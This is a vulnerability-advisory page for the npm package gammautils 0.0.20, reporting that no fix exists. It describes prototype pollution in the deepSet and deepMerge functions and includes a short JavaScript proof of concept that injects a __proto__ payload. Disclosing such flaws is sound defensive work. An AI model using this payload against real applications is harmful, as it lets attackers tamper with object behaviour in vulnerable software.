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gammautils@0.0.20 vulnerabilities

Lots of utilities for Node.js

  • latest version

    0.0.81

  • first published

    11 years ago

  • latest version published

    7 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the gammautils package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
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    Prototype Pollution

    gammautils is a Lots of utilities for Node.js

    Affected versions of this package are vulnerable to Prototype Pollution via the deepSet and deepMerge functions.

    POC:

    const gammautils = require('gammautils');
var payload = JSON.parse('{""__proto__"":{""polluted"":true}}');
gammautils.object.deepSet({}, '__proto__.polluted2', true);
gammautils.object.deepMerge({}, payload);
console.log(polluted);
console.log(polluted2);

    How to fix Prototype Pollution?

    There is no fixed version for gammautils.

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